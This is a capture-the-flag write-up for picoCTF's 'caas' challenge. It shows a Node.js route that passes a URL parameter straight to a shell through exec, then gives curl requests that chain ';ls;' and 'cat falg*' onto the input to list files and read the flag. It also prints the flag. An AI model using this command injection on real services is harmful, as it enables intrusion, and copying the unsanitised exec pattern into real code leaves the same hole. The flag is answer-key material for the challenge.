caas
Description
AUTHOR: BROWNIEINMOTION
Now presenting cowsay as a service
Download index.js
Solution
The code on frontend isn't interesting as it's simply making request to backend.
(async () => {
await new Promise(r => window.addEventListener('load', r));
document.querySelector('code').textContent =
`${window.origin}/cowsay/{message}`;
})();
Point of interest is the given backend index.js
app.get('/cowsay/:message', (req, res) => {
exec(`/usr/games/cowsay ${req.params.message}`, {timeout: 5000}, (error, stdout) => {
if (error) return res.status(500).end();
res.type('txt').send(stdout).end();
});
});
There's no validation of message
and it gets directly passed to exec
child_process.exec(command[, options][, callback]):
Spawns a shell then executes the command
within that shell, buffering any generated output
That means we are executing /usr/games/cowsay ${req.params.message}
in the shell. cowsay
doesn't have exploits for RCE, even if it did it would be overkill. We can just supply another command to be ran with exec. Using ;
we can seperate commands, let's test it.
➜ curl "https://caas.mars.picoctf.net/cowsay/0w0;ls;"
_____
< 0w0 >
-----
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
Dockerfile
falg.txt
index.js
node_modules
package.json
public
yarn.lock
➜ curl "https://caas.mars.picoctf.net/cowsay/0w0;cat%20falg*"
_____
< 0w0 >
-----
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
picoCTF{moooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0o}
Flag: picoCTF{moooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0o}
Last updated